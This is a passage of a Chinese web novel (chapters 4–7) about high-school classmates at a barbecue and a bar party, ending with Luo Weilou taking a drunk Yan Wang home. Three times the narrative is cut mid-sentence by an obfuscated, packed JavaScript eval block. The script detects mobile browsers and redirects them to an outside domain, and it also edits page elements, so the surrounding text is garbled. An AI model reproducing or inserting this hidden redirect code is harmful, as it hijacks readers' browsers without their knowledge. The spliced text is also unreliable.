正巧旁边走过两个女生,不知道是外校还是其他班,目睹这一幕,眼睛都瞪大了。 又想听又怕被发现,飞快溜走。 严妄抽出胳膊,“注意影响。” 孙雯宁抬脚要踩他,被严妄灵敏躲开。 气得跺了下脚,撩了撩马尾,跟上严妄去找烧烤店老板租船了。 聚会来了十几个人,全都是原本班级的。 高三开学分文理,他们班要进来几个其他班的学生,所以大家在想在开学前聚一下。 不是排外,是例行聚会。 顺道交流一下情报,都有谁来他们班。 周戈问了一圈,发现没人愿意跟自己组队,甚至一听划船就立即拒绝,宁可去给肉刷油刷酱,都不参加。 周戈站在河边,看着已经蓄势待发的严妄、孙雯宁,此时此刻尤其想念骆危楼。 如果学霸在就好了,那他一定会敬他为学神。 不只学习厉害,和严妄比还有一战之力。 而他,只是个随时担心翻船的弱鸡。 “我跟你一起吧。” 体育委员勇敢站出来,承受了一切。 周戈看他如同见到再生父母,眼泪汪汪,“老赵,我就知道你最能抗事。” 赵不凡活动胳膊腿,不解问:“不就划船吗?你一副见阎王的表情,怕水啊。” 周戈“噢”了声,想起来上次聚会赵不凡没在。 好好好,原来是不知者无畏。 “你们在那边说什么?玩不玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025643|162243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了?”孙雯宁已经坐到皮划艇里,扣好了救生衣。 严妄正在检查船桨和皮划艇,怕有漏气或者其他的隐患,没看他们。 赵不凡大声回应孙雯宁,说完就来后,穿着救生衣上了船。 周戈看他一副被美色迷了心窍的样,摇了摇头。 自古英雄难过美人关啊。 周戈选择了后面的座位,探头看眼严妄,拍拍他肩膀,“兄弟,你自求多福吧。” 赵不凡一脸清澈,“啊?” 此事不宜明说,不然遭殃的是他。 周戈摇摇头,在心里说,对不住了,兄弟。 五分钟后,赵不凡后悔了。 他这是上了一艘贼船啊! 严妄不是体育生,但从小运动天赋发达,足球、篮球和排球都打得不错。 羽毛球和乒乓球也能玩,甚至连台球都打得挺好。 公园的休闲皮划艇,本来应该是你泼水来我反击,嬉笑打闹的假日回忆。 结果严妄一上手,立即变成竞技体育。 “周戈,赵不凡,你俩行不行啊?”严妄回了一下头,“输了烤肉工作全包。” 周戈眯着眼睛,被水花啪啪打脸,“祖宗,你这玩的碰碰船啊!” 孙雯宁根本不用使什么力气,往周戈和赵不凡身上拨水就行,“碰碰船怎么了?又没人说只能竞速。” 赵不凡屡战屡败,感觉船身不对,“喂喂喂,周戈,他妈的船要翻了!” 周戈大叫着,“我能不知道要翻了吗?靠啊!你快杵一下,杵一下!” “不行!够不到!” “操啊,噩梦重现啊!” 浅滩的水不深,就一米三四的样子,最浅的地方估计才一米。 他们站在水里连胸都淹不到,所以才这么玩。 孙雯宁身上湿透,坐在那儿大笑,眼睛都弯成一条缝。 严妄坐在船头,看着翻下去的两人,挑挑眉,把船桨递到他俩面前。 “上来吧。” 周戈抓住船桨,冲着严妄笑。 严妄几乎第一时间就反应过来,刚要撒手,就被连人带船桨一块拽到水里。 “给我下来吧你!” 严妄从水里钻出来,抹了一把脸,笑着用手肘杵了下周戈。 倒没没生气,游了个来回才上岸。 等他上岸,孙雯宁拿了一条毛巾过来,递给他。 “谢了。”严妄坐在塑胶凳上,在太阳里晾干。 孙雯宁身上衣服干得快,也不在意透不透的问题,叼了根棒棒糖,“学霸没来是上竞赛班去了?” 严妄点头,“这么关心他?换目标了?” 孙雯宁白他一眼,“我跟他星象不和,不般配。” 严妄笑起来,说她上个学期还研究八字,这学期就研究星象了。 “这不是八卦一下。”孙雯宁瞥眼正在烤肉的其他人,“二班的班花也在上那个竞赛班。” 严妄疑惑地看她,没明白。 “你不知道啊,上次我看他俩在平台那儿说话,还以为有情况呢。” 孙雯宁真是单纯八卦,没其他意思。 碰见也是偶然,平台那边离教室和办公室都远,还是摄像头死角,挨着廊桥,所以不少人喜欢去那儿抽烟和悄悄谈恋爱。 严妄摇头,“我不知道。” 才怪。 他不仅知道,还比谁都知道得早。 要是哪天骆危楼惹他了,他就去给外公外婆告发。 哼,早恋。 5. 第 5 章 公园烧烤在鸡飞狗跳中,持续到下午四点多,终于吃撑了的高中生们,终于决定转战下一个地点。 严妄靠在椅子里,看眼周围几乎全在揉肚子、来回走的同班同学,玩着手机。 周戈看不过去,分完健胃消食片,挪到他旁边一屁股坐下,“五十五一个人,你这吃法,每年得亏多少。” 烧烤是自助的,按人头算,烧烤架、炭火跟菜、调料全提供,可以吃四个小时。 听着好像占便宜,实际上店家大赚特赚。 严妄伸手,假装要去摸他肚子,“像你们这样吃,撑了进医院才叫不亏?” 周戈躲开他的虚晃,“顶多撑一会儿。” 说着话站起来,看他还盯着手机,“哎,你跟学神说声,晚上地点变了。” “不是说好KTV的?”严妄抬起头,页面正好停在俄罗斯方块,“换去哪?” 周戈往群里发地址,艾特全员后,大家自行打车、骑车、公交去往地点,在门口集合。 “严妄大佬,拜托你看看自己的身份证,你能进吗?我是为了谁才换的地点?” 严妄愣了几秒,随即低头装死。 他生日在明年二月,的确是不能进娱乐场所。 周戈呵呵两声,“你要跟我一辆车,还是跟孙仙儿一起?” “一辆出租车是装不下我们了吗?”严妄点开和骆危楼的聊天页面。 周戈笑着搂住他肩膀,“当然不一样,跟我走,那哥等会儿玩游戏罩着你,要是跟孙仙儿,她保证让你丢人丢到怀疑人生。” 严妄挑挑眉,“孙雯宁有这么恐怖?” 周戈郑重其事点头,“五一聚会的惨痛经历,你忘了?我差点就——” “哎哟!我头发、头发!” “严妄,你也玩阴的,你故意的!” 身后孙雯宁撒了手,拍掉被拽下来的两根头发,“周戈,我看你还想上台跳一段是吧。” 严妄不跟他俩闹,先一步往打车路口走。 其他人要么先走了,要么就打算再写会儿,反正打车过去十来分钟,早一会儿晚一会儿差不多。 【严妄:聚餐新地址,等会儿下课来这儿。】 【骆危楼:换地方?】 【严妄:这里更豪华。】 【骆危楼:。】 【骆危楼:想起来,你生日在明年。】 【严妄:……你有好到哪里去?】 【骆危楼:两个月。】 严妄盯着那三个字,眼睛都要瞪出火了,以至于在上出租车时,周戈和孙雯宁默契把副驾让给他。 六班无人不知,严妄和骆危楼的孽缘。 一般能让严妄露出“买凶杀人”表情的,除了骆危楼外,就是打游戏遇到挂。 【严妄:好好做你的竞赛题,别摸鱼!】 烦人。 哪有这么烦的人,这会儿叭叭叭地能说,怎么朋友圈就只评价两个字? 只会怼人不会夸人,迟早要让骆危楼叫他哥。 “骆危楼说不用管他,他不知道什么时候才来。”严妄把手机揣回口袋,“音乐餐吧有啤酒吗?” 周戈上个学期就成年了,不仅能点酒,换身衣服混迹娱乐场所都不会有人查证。 孙雯宁正拿着镜子,给自己补妆,“叫啊,我们这一群人,就你、学神跟豆妹没成年,其他可都赶在暑假成年了。” “谁都不开车,喝点啤的怎么了。” 周戈刚想说看情况,被孙雯宁抢了话,缩在座位上玩手机,不吭声了。 一切都不关他事,火别烧他身上。 孙雯宁补完妆,拿手机刷朋友圈,随口问:“妄崽,你最近不爱发朋友圈啊。” “你也发现了?要你不说,我还以为他把我屏蔽了。”周戈拿手机看游戏直播,戴着耳机,“严妄,下学期方妈调座位,你还挨学神一起吗?” 严妄心虚地避开前一个问题,又看向窗外,假装很忙的样子,“我哪知道,我又不是方妈肚子里蛔虫。” 方妈,方文韵,他们班主任,兼任数学老师。 三十岁多岁,个子不高,但脾气很大。 “哎,年少不知高一高二好,一上高三考试愁。” 周戈叹气,“我要是考不上大学,我妈就让我去工地搬砖,然后复读。” “放心,不是把你逐出家门都好商量。”孙雯宁解开发绳,一撩头发,藏在里面的挑染露出来,蓝的、紫色,还挺好看。 “我要是被赶出门,立即奔赴横国。” 周戈惊讶问:“横国是哪?偷渡出国吗?” 孙雯宁无语前,前面的严妄听不下去了,他有时候真怀疑周戈的大脑平滑如鹅卵石。 - 周戈选的音乐餐吧在老城区的一个印刷厂,因为出版社降本增效,整个印刷厂搬迁,这边的厂房就闲置下来。 地址在师大旁边,因为不单单是纯私人或者政府单位,所以归属和改造问题一直没解决。 拖了两三年,最后属于私人那部分,被租出去,成了一个小商业。 订的位置是露天的,在舞台左侧。 座位周围用绿植、盆栽围起来,隔成了类似酒吧的卡座,氛围上没得挑。 live乐队在台上唱着民谣,一群刚成年的学生在台下肆意撒欢。 周戈攒的局,拿起杯子,“来来来,为我们三年战友情干杯——!干完这一杯,高考全满分!” “……周戈你行不行啊,哪来的三年?” “搞得像毕业聚会一样,喝就喝,说那么多!” “干完真的满分吗?那我不如去拜学神来的快一点。” 十一二个人,你一句我一句,大有推翻周戈,自己上的觉悟。 周戈一看场面控制不住,立即薅起旁边的班长刘晋安,“班长,来你说一句。” 刘晋安被迫站起来,握拳抵唇咳嗽两声,“那个,我代表——” “啊啊啊啊,喝了喝了!” “禁止班长开麦,收!” “仿佛在听演讲报告,放过我这个脆弱的女高吧。” 刘晋安无奈一笑,扶了扶眼镜,“高三六班是最好的班,希望接下来一年,大家还跟以前一样!我说完了!” 一阵起哄声后,玻璃碰到玻璃发出的清脆声响,接连响起。 孙雯宁放杯子,一撇头,发现严妄在拍照,立即凑过去,“拍给谁看啊?” 严妄点开微信的动作一收,“自己看。” 孙雯宁一眼看穿的表情,瞄了眼他面前的杯子,“你耍赖啊,杯子里的酒一点没少。” 眼神再一扫,全班年纪最小的豆妹罗恬面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025644|162243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前还是可乐,孙雯宁摇头叹气。 罗恬人如其名,长了张甜妹脸,“我未成年。” 严妄一听,往后靠去,抱着胳膊翘起腿,对上孙雯宁的眼神,无辜说:“我也未成年。” 孙雯宁无语,平时去网吧的时候,怎么不说自己未成年了。 民谣变成电子摇滚,周围气氛一瞬间点燃。 一帮高中生聚会能做什么? 喝酒、抽烟、进网吧已经是最叛逆的,其他不外乎是真心话大冒险、狼人杀、十五二十的小游戏。 严妄心不在焉听着歌,一会儿戳一下骆危楼的聊天页面,看一眼时间,眉头就皱紧一点。 六点十分了,骆危楼怎么还不来? “别惦记你哥了,来玩真心话大冒险。”孙雯宁薅了一下严妄,“我跟你保证二班班花再美,你哥心里也都是你,绝对不会在高中就给你找个嫂子。” 正好要过去的罗恬听到,忍不住笑。 严妄露出一言难尽地表情,不知道先纠正哪一个错误。这一纠结,就错过了最好的时机,话头直接掐断了。 周戈一左一右是赵不凡跟刘晋安,其他人就顺着两边坐。 严妄他们三过来晚,挨在最边上。 然后,他们三就成全场最倒霉的倒霉蛋。 桌上的啤酒瓶口,跟可汗大点兵似的,挨个点他们,还循环起来了。 三圈下来,严妄盯着眼前的啤酒瓶口,眼睁睁看着它由圆变方。 周戈趁着去放水回来,在严妄旁边坐下,拍拍他肩膀,“严妄?” 摸出两颗糖递给他,烧烤那儿拿的陈皮糖,“你脸皮真薄,酒量不行还不愿意大冒险,该你喝。” 严妄接过来,往后一靠,下意识摸出手机。 他只是晕,意识还算清醒。 解锁手机时,严妄伸出手,碰了碰孙雯宁,“你和豆妹分了。” 孙雯宁拿了一颗递给罗恬,“你留着吧,等会儿骆危楼来了,一闻你又要挨削。” 严妄盯着手机,六点三十五了,骆危楼不回消息也不来。 啧。 烦死了。 捏着糖揣进口袋,不知道旁边谁喊了一句“来一个”,严妄酒劲上头,抄起一串烤虾,倏地站起来。 旁边周戈被他一撞,人仰马翻地倒在座位上。 “谁在装逼?我最讨厌装逼的人了!” 一片寂静,盯着突然高出一截的严妄。 但短短几秒后,突然有人起哄,带头鼓起掌来,装逼什么的最烦了。 尤其是没本事瞎装的。 舞台上音乐声很响,他们这点动静都引起不了别人注意,顶多看一眼。 周戈和孙雯宁傻眼了,对视后,正打算把严妄拉回座位。 手刚伸出去,隔断被人敲了敲,发出声响。 十几双眼睛齐刷刷看过去,一时间掌声、说话声停止,呆呆看着站那儿的骆危楼。 一向面无表情的脸上,破天荒地挂着很明显的笑。 要不是身上还穿着附中校服,还以为是这儿的当家驻场吉他手或者主唱。 骆危楼笑着挑了挑眉,视线扫一圈,落在严妄身上,看了看他微红的脸颊、通红的耳朵和不算清醒的眼神,“抱歉,来晚了点,没打扰到你们的——” “游戏环节吧?” 6. 第 6 章 “哪跟哪,热身刚结束,你来得正好。” “严妄倒下了,你来正好,接他班。” “学神,你再不来,这都没人跟我玩了,快快快,给咱班顶梁柱上座!” 一片鸦雀无声的寂静后,喝了点啤酒的众人,又开始瞎起哄。 哪用得着上座,但凡有严妄在,骆危楼的位置就在他旁边。 周戈和孙雯宁默契往旁边一挪,给人让位置。 骆危楼挨着严妄坐下,一手接杯子一手撸起校服袖子,余光瞥着严妄,问周戈,“喝了多少?” 周戈歇了会儿,人清醒不少。 伸手比了个数字,“他们三一整个倒霉蛋,但他是大倒霉蛋。” 四杯? 差不多到顶了,再喝点能把桌子当床睡。 严妄这会儿还发晕,但知道骆危楼来了。 正生气,闭了眼屁股一抬,往边上挪去,不愿挨着他。 骆危楼收回视线,看向其他人时,大家立即装作很忙的别开脸,说:“来晚了,不好意思。” 说着,喝完了半杯啤酒。 场子又热闹起来,问骆危楼要不要以前玩骰子,他说吃点东西,一会儿玩。 “脾气这么大?” 骆危楼拿了一串烤肉,“哪又惹你了?” 严妄不语,只是哼了两声,跟小猪哼唧一样。 骆危楼忍着笑,往他身边靠过去,“喝酒之前,吃东西了吗?” 严妄嫌他烦,终于睁眼,“吃了吃了!别挨着我,走开点,热死了你。” 骆危楼放下竹签,又去拿了两牙西瓜,分给严妄,“下课被老师抓着问了点事,一路跑来的。” 从附中到这儿,正常走路小二十分钟,跑的话再快也要十分钟。 “跑什么?”严妄撇着嘴,不歪着身子坐了,习惯地往骆危楼那边靠。 骆危楼抬头,“怕你等我。” 严妄被他看得心里发麻,板着脸干巴巴说:“谁等你了,才没等你。” 骆危楼眼里闪过笑意,不跟他争这个,只是吃完西瓜后,随便挑了点吃的,就被拉入游戏里,玩了起来。 没换地方,就坐严妄旁边。 骰子摇动的声音、杯子磕到玻璃桌面的动静、不甘心输了的懊恼,还有…… 骆危楼说话的声音。 他玩游戏厉害,所以话不多,都是一些很简短的询问、反问、回答。 一句话精简在五个字左右,但又不会让人觉得在装逼。 单纯是这人话少,大家都习惯了。 酒劲上来,让严妄处于半醉半醒的状态,好在没人打扰他,都逮着骆危楼,试图挑战“学神”的智商。 “喝点水。” “吃不吃这个,刚上的?” “薄荷糖。” “给你剥开?” 除了骆危楼,严重妨碍了严妄酒后玩文艺伤感的打算。 水喝了,糖吃了,连剥好的橘子也塞到嘴里,口腔被酸甜的味道占领。 挺好吃的,下回买点。 - 九点多,大家决定散场。 有的打算直接回家,有的还打算去周围网吧里玩会儿游戏,反正出都出来了,干脆玩够本。 周戈和赵不凡打算去网吧,正在路边和其他两个人聊。 其中一人扭头,扯着嗓子就问严妄要不要跟他们一起,周戈想拉都没拉住。 严妄还没开口,旁边骆危楼就先说话。 “严妄,你喝醉了。” “跟我回家。” 严妄瞪他,就看骆危楼狭长的眼尾挑起,一副你敢去我就弄死你的表情。 周戈拦了辆车,把人往里塞,“骆危楼,严妄交给你了,顺道把孙仙儿也捎一下。” 车门一关,扬长而去,根本不管严妄答不答应。 叛徒! 严妄忿忿不平,踢了一下旁边的石墩。 太讨厌了,骆危楼! 骆危楼抬手摸了下他额头,想去牵他手,被甩开也不生气,“走了,回家。” 严妄倒不是想去网吧,是烦骆危楼管他的态度,难道就不能让他先说么。 抬脚往前走,不想理骆危楼了。 他在前面走,骆危楼就跟在后面,不时提醒注意车、当心楼梯。 孙雯宁打了一个哈欠,头发随意扎着,“你是真能管他,这要是我弟,我直接扔街上,爱咋的咋的。” 骆危楼转头看她一眼,又继续盯着严妄,“他要跟你弟一样,我也扔街上。” 孙雯宁被他逗笑,喝了不少,却一点醉意没有,打量起像乌龟一样慢吞吞的严妄。 也不急回家,陪着他俩慢悠悠地走,“那倒是,妄崽从小到大都乖。” 周戈和他们关系好是好,但他们三算一起长大的,初一时,孙雯宁家搬进教职工小区,打那会儿就认识。 平时走二十来分钟,今天得有半小时。 进了小区,他们两家住的不在一个方向。孙雯宁抬手示意自己先回了。 走出去几步又回头,“你能行吧?妄崽真醉了。” 骆危楼“嗯”了声,走到严妄旁边,伸手捞起他胳膊,几乎把人圈在怀里。 看向孙雯宁,“你自己注意。” 孙雯宁笑着转身,摆摆手,“得了吧,姐姐的酒量能喝翻你俩。” 在原地目送孙雯宁进了单元楼,骆危楼低头去看严妄。 “能走吗?”他问。 严妄刚想说自己能,胃里一阵翻江倒海,推开骆危楼,几步走到绿化带边上,低头吐了。 骆危楼扫了一圈,去自动售货机买了瓶水,“漱漱口。” “吃杂了。”严妄为自己的酒量辩解。 骆危楼摸出纸巾,接过水,把纸巾又递了过去,“嗯,我不该喂你烤肉和橘子。” 严妄觉得骆危楼很敷衍,但找不到反驳的理由。 等他缓了一会儿,骆危楼才在他面前半蹲着,“上来吧,再不回家,外公外婆要担心的。” 严妄吐完手脚发软,晕乎乎的趴上去,被托起来的瞬间,感觉更晕了,直接往他肩上靠。 “才不会,跟你出去他们一点儿不担心。” 骆危楼低笑一声,没说话。 只是在进单元楼时停了一下,发现旁边一楼家里的灯是亮着的。 “到了吗?” “没。” 骆危楼背着人往楼上走,安静的楼道,脚步声无形中被放大。 外面的路灯光穿过楼道外侧的镂空墙,在地上形成一个个菱形的格子。 “……你下午为什么不回我消息?被老师留了也不跟我说一声。” 严妄质问,语气却半点不像。 骆危楼停在防盗门外,手绕过严妄腿弯,在口袋里摸钥匙,“手机没电,忘记充了。” 钥匙插进锁孔,发出咔哒一声,“以后不会了。” 严妄“嗯”了声,也不知道是听到没听到。 客厅里正要去睡的江杉看他们回来,又闻到一点儿酒气,不由担心。 江杉看了看严妄,轻声问:“喝了多少啊?你怎么还背他,多大人了,你能背他一辈子啊。” “快放下来了,累着你。” 骆危楼摇头,“就楼下到这儿,没一路背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025645|162243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,怕他爬楼梯摔了。” “外婆您去睡吧,我给他搁床上就走。” 江杉一愣,还是跟到了房间里,给严妄拉了拉被子,又把窗户关小一点。 见骆危楼要走,“厨房里有炖的排骨,你端回家去。” 骆危楼正要拒绝。江杉说:“你妈妈不会做饭,那一锅排骨凑合能吃两顿。” “谢谢外婆,那我回去了,您也早点休息。”骆危楼看眼严妄,“喝了四杯,不过吃杂了,吐了一回,应该能睡踏实。” 江杉笑起来,轻轻地拍了一下严妄胳膊,“四杯啤酒就倒,比他爸还差,更别说他妈妈了。” 等骆危楼端着排骨回家,墙上挂着的钟,时针已经过了十点,分针来到了正下方。 - 行李箱还放在客厅没拿回房间,家里也没有一点开过火的痕迹和气息。 骆危楼把锅端到厨房灶台,正从冰箱里拿出昨晚煮的饭,就听到外面有动静。 “回来了?” “嗯。” 骆危楼放下碗,走出厨房,对上刚洗澡出来的陆舍青看来的视线。 母子俩有将近半个月没见面,一时无言。 陆舍青走到茶几旁,合上笔记本,“刚回来又处理了一点事,才去洗澡。” “你怎么这个时间才回来?又去小妄——”她皱起眉,停顿后看向骆危楼,“喝酒了?” 骆危楼“嗯”了声,“同学聚会。” 陆舍青眉头依旧皱着,“今天不是有竞赛课吗?为什么会去参加同学聚会,还喝酒?你还是未成年,喝酒虽然不犯法,但不应该。骆危楼。” “上完课去的。”骆危楼说完,提起行李箱,往陆舍青房间走。 陆舍青坐在沙发上,眉头紧皱,想了想跟上去,站在房门口。 “小楼,马上高三,我希望你不要分心,别为了其他事情影响学习。” 骆危楼放好行李箱,多一秒都没停留,走出房间时从陆舍青身边经过。 回房间前想起书包还在自行车挂着,打算去拿。 陆舍青看他要出去,“大晚上的,你还要去哪里?” 骆危楼停下,“拿书包。” 陆舍青控制着情绪,“我会在家里待一个月,好好陪你。” “严妄外婆让我拿了排骨回来,家里有饭,我给你热一下,你吃了再睡。” 骆危楼说完,径自出了门。 回来时,厨房里的排骨和饭已经收回冰箱,餐桌放了几个口袋,上面能看到品牌logo。 有衣服、鞋子、耳机、纪念品,还有几本书和钢笔。 但陆舍青不在客厅坐着,电脑也收了起来。 骆危楼站在过道,看向紧闭的房门。过了几秒,拿着书包回了房间,又出来把礼物都拿上,才关了灯。 放轻动作,简单洗了一个澡后,骆危楼把自己摔进被子里,拿出手机充上电。 其他消息匆匆扫过,只点开了严妄的。 【严妄:你下课没?】 【严妄:……留堂了?你也有今天!】 【严妄:[未接通语音]】 【严妄:你别来了!】 哪有人脾气这么大的,明知道六点下课,才过十分钟就催他。 好大的脾气啊,不知道谁惯的。 骆危楼切了小号,聊天页面一下清爽许多,只有文件传输助手和一个联系人。 打开朋友圈,不用往下滑,就看到了严妄的朋友圈。 L:见义勇为的小哥哥,好厉害啊,这条疤可以载入人生重大时刻啦^_^ 点击发送,骆危楼就切回了大号。 7. 第 7 章 “严妄,起床了。” 严妄听到江杉声音,翻身把脑袋埋进被子,想要继续睡。 门外江杉声音越来越近,房门被推开,跟着窗帘拉开,中午刺眼的阳光照进来,再好的瞌睡都被搅碎。 “啪”一巴掌打在被子上,江杉皱起眉,“多大人还赖床,起来吃了东西再睡。” 说着,又揉了揉露出的小半个脑袋。 “起了哈,给你煮了馄饨。” 严妄被迫起床,嘟囔说:“吃了东西还能睡着?那是猪吧。” 走到门口的江杉笑起来,“你也知道那是猪啊?我看你就像。” 严妄对这种形容毫不介意,他要是猪就好了,吃了睡、睡了吃,还不用担心暑假作业没写完,考试排名往后掉。 很可惜他不是,投胎的时候被踹进了人道。 无能狂怒地锤了锤枕头,下床时拿起手机,一边去卫生间洗漱一边回消息。 聚餐小群一堆照片,每个人都奇形怪状的,靠脸都难以支撑的拍照技术。 班级群里,刘晋安身为班长,负责任地在八点艾特全员,提醒大家距离开学仅五天,别忘了暑假作业。 批阅完一众消息,严妄终于退出页面,点开了朋友圈。 新消息一条。 来自“L”。 严妄翘起嘴角,放下手机专心洗漱。 在心里评价,幼稚鬼。 江杉听到卫生间传来的哼歌声,看向拿着报纸的杨孟生,“这孩子大早上的乐什么?” 杨孟生微微低头,从眼镜上方瞥了眼过道,“谁知道,现在的年轻孩子,心思难猜咧。” - “外婆,我下楼了!” “哎,你这才吃完又跑哪去啊?”江杉拎着浇花的喷壶,站阳台转身,“毛毛躁躁的!” 严妄换好鞋,边开门边说:“去楼下。” 江杉一听,无奈地笑着摇摇头。 这俩孩子多大了,还跟小时候一样黏糊,谁都离不了谁。 严妄噔噔噔跑下楼,拐进隔壁单元,拍拍门,“骆危楼,开门!” 才拍响门,就从里面打开了。 “骆危楼,你——” “陆阿姨?你回来了!什么时候回来的呀?昨天晚上吗?难怪骆危楼没在楼上睡。” 严妄叭叭叭地说了一堆,眼睛亮亮的,看着就高兴。 陆舍青手里还拿着一把菜,看严妄仿佛看到小狗似的,吭哧往前拱,笑起来,“妄崽啊,你进来吧,小楼在房间里看书。” 严妄从鞋柜里拿出拖鞋换上,“陆阿姨你别做饭了,晚上你们都去我家吃好了。” “我可以去买菜,想吃什么我买!” 陆舍青笑着说:“今天我买了菜,下次再去。” “那就下次好了。”严妄抬脚就想去骆危楼房间,看陆舍青还站在原地,“阿姨,我去他房间了,想问他作业。” “去吧,还跟我说呀。”陆舍青拿着菜往厨房走,“我给你们洗点水果。” 严妄乖巧:“谢谢阿姨!” 等人进了厨房,听到水声后,他才溜进骆危楼的房间。 房间里,骆危楼正在桌前写卷子,完全不在意突然有人进来,只是笔尖停了停,又继续写。 严妄放轻脚步走上前,从后面勾住骆危楼脖子,“还以为你作业写完了,原来也在偷偷赶啊。” 骆危楼放下笔,拍拍严妄手背,“松点力。” 严妄松了一点力气,又压着人的背往前倒,“写到哪了?” 骆危楼伸手撑了下桌沿,“写到哪儿都比你写得多。” 严妄撇嘴,直接伸长手去薅他卷子,被骆危楼一把抓住手制止,就这么闹起来。 “借我看看。” “不借。” “好小气啊你,我又不抄你的,我连作业都没拿下来。” “今天吃错药了?” “你好烦!” 陆舍青敲开门时,看到他俩扭打在一起,椅子危危险险的,看起来要摔倒。 随口劝了一句,“小心点,别摔着了。” 严妄听到她声音,立即撒手站直,“不会摔的,我跟他闹着玩。” 陆舍青瞥眼桌上的卷子,又看骆危楼,“写了一上午,中午休息会。正好妄崽来了,你俩玩会儿。” 骆危楼“嗯”了声,起身接过水果,“这些事我可以自己来。” “知道了。”陆舍青说完就出了房间。 一盆车厘子,严妄伸手抓了两颗,坐在床边晃着腿,问:“阿姨是昨晚回来的?” “好甜,你快吃。” 骆危楼坐书桌前,卷子是写不成了,随手拿本书翻了翻。 严妄看他面无表情,把手里剩的那颗喂过去,手指跟车厘子一块抵在他唇边,“怎么还耍小孩脾气?阿姨那么拼命工作,不也是为了你吗?” 闻言骆危楼抬眼看他,“不要学外婆外公说话。” 严妄趁机把车厘子塞到他嘴里,“哦。” 说完又笑嘻嘻地靠过去,“小哥哥?” 骆危楼:“……” 原来真的吃错药了,早知道就不该切号回的。 “哈哈哈哈,骆危楼,你上哪儿百度的句子啊。” “……” “截止到昨天,你至少还有十五张卷子没写。” 严妄睁大眼,往床上一躺,略有些生无可恋,“卑鄙。” 房间里没有空调,风扇也没打开,只有窗户外的风,隔着防盗栏往里吹。 卷子被风偶尔吹起,发出唰唰的声音。 严妄反抗无效,被迫上楼拿了几张卷子回来,挨着骆危楼一起写作业。 严妄写作业不老实,喜欢东扣扣西扣扣,磨磨蹭蹭的,就是静不下心来。 一个小时里,能有半小时是磨皮擦痒。 “严妄。” “知道了,我就是看玻璃上有一只蜜蜂。” “严妄,这道题的题目看完了吗?” “看了一半。” “那接着看。” 严妄低头拿笔戳着题目,一个字一个字地往下看,终于读完题目,开始思考怎么解题。 趁他专注时,骆危楼抬眼,看到他说的那只蜜蜂。 挺胖的。 估计采了不少花粉。 - 下午四点多,正在厨房里炖蹄髈的陆舍青接了个电话,匆匆摘下围裙。 回房间时,敲了两下骆危楼房门,“我有点急事要出去,晚上不回来吃饭,厨房里炖着东西,六点关火就好,你们看是要在这儿吃还是拿上楼都行。” 严妄下意识地看向骆危楼,笔尖在草稿纸上拉出一条长线。 骆危楼起身,走到门口,往陆舍青房间看去,“今晚回来吗?” 陆舍青匆忙换了条裙子,随意梳了头发,手里还拿着香水瓶,走到门口,“当然要回来,不是说好了会在家待一个月。” 待一个月,是指不出差,不是不工作。 骆危楼“嗯”了声,“那你开车注意安全。” “知道了。”陆舍青说完,又退回房间,重新接了一个电话,听不太清说的什么。 严妄眼睛一直瞄着门口,看骆危楼要转身,连忙坐正,盯着卷子一副很感兴趣的样子。 骆危楼一眼看穿,刚要走回去,就听客厅传来敲门声。 “小楼,去开下门。” 骆危楼脚下方向一转,往大门口去。 门打开,孙雯宁拿着一叠卷子站外面,一脸惊不惊喜意不意外的表情。 “妄崽一定在你家,我决定和你们一起——” 孙雯宁话说到一半,看见走出来的陆舍青,下意识想把头发扎起来,“阿姨好。” 陆舍青扫了一眼她头发,“我刚好要出去,你们在家好好写作业。” 孙雯宁一脸乖巧表情,“知道的,阿姨。” 说话间,陆舍青已经换好鞋子,临了关门时,看向骆危楼,“好好照顾同学,我晚点回来。” 骆危楼:“嗯,路上小心。” 在门口目送陆舍青离开,他们才一起进了客厅。 孙雯宁悄悄松了口气,瞥向骆危楼,“早知道我应该把头发扎起来的,不过过两天得去染回来了,不然方妈一定想扁我。” 严妄早从房间里出来,还抱着他和骆危楼的卷子。 欠揍说:“看到有人比我还写得少,突然觉得很安心。” “妄崽,要不要我把昨天录的视频发到群里?” “那你发啊!我也有你的,谁怕谁。” “你什么时候拍的?” “不告诉你。” 骆危楼抱着胳膊站一边,对两人小学生一样绕着茶几互掐的行为,习以为常并且懒得搭理。 去厨房重新洗水果、拿冰棍时,抬脚勾住塑料小板凳,往墙边挪了挪,好心腾出地方免得牵连无辜。 三个人一手冰棒、一手笔,围着茶几奋笔疾书,只想尽早把卷子写完。 哪怕到了五点多,气温堪堪降了两度意思意思一下。 客厅两头一边是阳台,一边是餐厅厨房,不如房间里通风,不一会儿就热出一身汗。 骆危楼起身,把空调又调低了一度,然后打开风扇,对着茶几方向吹。 